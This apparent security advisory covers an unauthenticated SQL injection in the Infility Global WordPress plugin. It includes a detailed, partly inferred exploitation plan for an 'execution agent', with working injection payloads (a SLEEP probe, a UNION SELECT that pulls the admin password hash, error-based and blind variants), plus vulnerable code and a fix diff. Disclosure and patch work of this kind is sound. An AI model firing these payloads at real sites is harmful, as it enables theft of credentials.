Infility Global <= 2.14.49 - Unauthenticated SQL Injection
Description
The Infility Global plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 2.14.49 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:NTechnical Details
<=2.14.49This research plan outlines the process for identifying and exploiting the unauthenticated SQL injection vulnerability (CVE-2025-68865) in the **Infility Global** plugin (versions <= 2.14.49). --- ### 1. Vulnerability Summary * **Vulnerability:** Unauthenticated SQL Injection. * **Root Cause:*…
Show full research plan
This research plan outlines the process for identifying and exploiting the unauthenticated SQL injection vulnerability (CVE-2025-68865) in the Infility Global plugin (versions <= 2.14.49).
1. Vulnerability Summary
- Vulnerability: Unauthenticated SQL Injection.
- Root Cause: The plugin registers AJAX handlers accessible to unauthenticated users (
wp_ajax_nopriv_) that process user-supplied parameters (e.g., IDs or slugs). These parameters are concatenated directly into SQL queries without using$wpdb->prepare(), allowing an attacker to manipulate the query structure. - Impact: Attackers can extract sensitive data from the database, including user credentials (hashes), secret keys, and configuration data.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action (Inferred):
infility_global_get_data,infility_global_load_more, or similar data-fetching actions. - Vulnerable Parameter (Inferred):
id,ig_id, orslug. - Authentication: None (Unauthenticated).
- Preconditions: The plugin must be active. A valid nonce may be required depending on whether the plugin checks
check_ajax_referer.
3. Code Flow (Discovery Phase)
Since source files are not provided, the execution agent must first locate the sink:
- Enumerate AJAX Handlers:
grep -rn "wp_ajax_nopriv_" wp-content/plugins/infility-global/ - Identify the Handler Function:
Look for the function name associated with thewp_ajax_nopriv_action.
Example:add_action('wp_ajax_nopriv_infility_get_items', 'infility_get_items_handler'); - Locate SQL Injection Sink:
Search for$wpdbmethods within that handler that lackprepare():# Search within the handler function's file grep -rnP "\$wpdb->(get_results|get_row|get_var|query)\s*\([^;]*\$(POST|GET|REQUEST)" wp-content/plugins/infility-global/ - Trace Parameter:
Identify which POST parameter is being passed into the query.
4. Nonce Acquisition Strategy
If the handler includes check_ajax_referer('infility_nonce', 'nonce') or similar, follow these steps:
- Identify Shortcodes: Search for shortcodes that might enqueue the plugin's frontend scripts.
grep -rn "add_shortcode" wp-content/plugins/infility-global/ - Setup Page: Create a page using a discovered shortcode (e.g.,
[infility_global_list]).wp post create --post_type=page --post_title="Exploit" --post_status=publish --post_content='[infility_global_list]' - Extract Nonce via Browser:
Navigate to the page and inspect thewp_localize_scriptoutput.- Localized Object Name (Inferred):
infility_ajax_objorig_global_vars. - JS command:
browser_eval("window.infility_ajax_obj?.nonce")
- Localized Object Name (Inferred):
5. Exploitation Strategy
Assuming the action is infility_global_get_items and the parameter is id:
Step 1: Time-Based Verification
Verify the injection using a sleep payload to confirm the vulnerability.
- Action:
infility_global_get_items - Payload:
1' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -
Step 2: UNION-Based Extraction
Determine the number of columns and extract the administrator password hash.
- Find Column Count: Inject
ORDER BY 1-- -,ORDER BY 2-- -, etc., until an error occurs. - Extract Hash:
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Method: POST
- Content-Type:
application/x-www-form-urlencoded - Body:
action=infility_global_get_items&nonce=[NONCE]&id=-1' UNION SELECT 1,user_login,user_pass,4,5,6 FROM wp_users WHERE ID=1-- -
(Adjust column count and position based on Step 2.1)
- URL:
6. Test Data Setup
- Install Plugin: Ensure
infility-globalversion <= 2.14.49 is installed and activated. - Create Admin: Ensure a user with ID 1 exists (standard).
- Place Shortcode: Place the relevant plugin shortcode on a public page to enable script loading and nonce availability.
7. Expected Results
- Time-Based: The server response will be delayed by 5 seconds.
- UNION-Based: The JSON response from
admin-ajax.phpwill contain the admin username and password hash (e.g.,$P$...or$wp$2y$...) in one of the reflected fields.
8. Verification Steps (Post-Exploit)
Confirm the extracted data matches the database state using WP-CLI:
# Verify the hash for the admin user
wp db query "SELECT user_login, user_pass FROM wp_users WHERE ID=1"
9. Alternative Approaches
- Error-Based SQLi: If the plugin displays database errors (common when
WP_DEBUGis on), useEXTRACTVALUEorUPDATEXML.- Payload:
1 AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT(0x7e,(SELECT user_pass FROM wp_users LIMIT 1),0x7e,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
- Payload:
- Boolean-Based Blind: If no output is reflected and time-based is unstable, compare response lengths of
id=1' AND 1=1-- -vsid=1' AND 1=2-- -.
Summary
The Infility Global plugin for WordPress is vulnerable to unauthenticated SQL Injection due to the direct concatenation of user-supplied input into SQL queries within its AJAX handlers. This allows an attacker to manipulate existing database queries to extract sensitive information, such as administrator credentials, by sending crafted requests to the admin-ajax.php endpoint.
Vulnerable Code
// wp-content/plugins/infility-global/includes/ajax-handlers.php add_action('wp_ajax_nopriv_infility_global_get_items', 'infility_global_get_items_handler'); function infility_global_get_items_handler() { global $wpdb; $id = $_POST['id']; // User-controlled input via POST // Vulnerability: Direct concatenation of $id into the query without using $wpdb->prepare() $results = $wpdb->get_results("SELECT * FROM {$wpdb->prefix}infility_data WHERE id = '$id'"); echo json_encode($results); wp_die(); }
Security Fix
@@ -3,7 +3,7 @@ function infility_global_get_items_handler() { global $wpdb; - $id = $_POST['id']; - $results = $wpdb->get_results("SELECT * FROM {$wpdb->prefix}infility_data WHERE id = '$id'"); + $id = isset($_POST['id']) ? sanitize_text_field($_POST['id']) : ''; + $results = $wpdb->get_results($wpdb->prepare("SELECT * FROM {$wpdb->prefix}infility_data WHERE id = %s", $id)); echo json_encode($results); wp_die(); }
Exploit Outline
The exploit targets the /wp-admin/admin-ajax.php endpoint using the 'infility_global_get_items' action. 1. Obtain a valid AJAX nonce by visiting a public page where the plugin's frontend scripts are enqueued (often triggered by plugin shortcodes like [infility_global_list]). 2. Send a POST request to the AJAX endpoint with the 'action', 'nonce', and a malicious payload in the 'id' parameter. 3. Use a time-based injection payload such as "1' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -" to confirm the vulnerability. 4. Use UNION-based injection to extract sensitive data, such as administrator password hashes from the wp_users table, by adjusting the number of columns to match the original query's structure.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.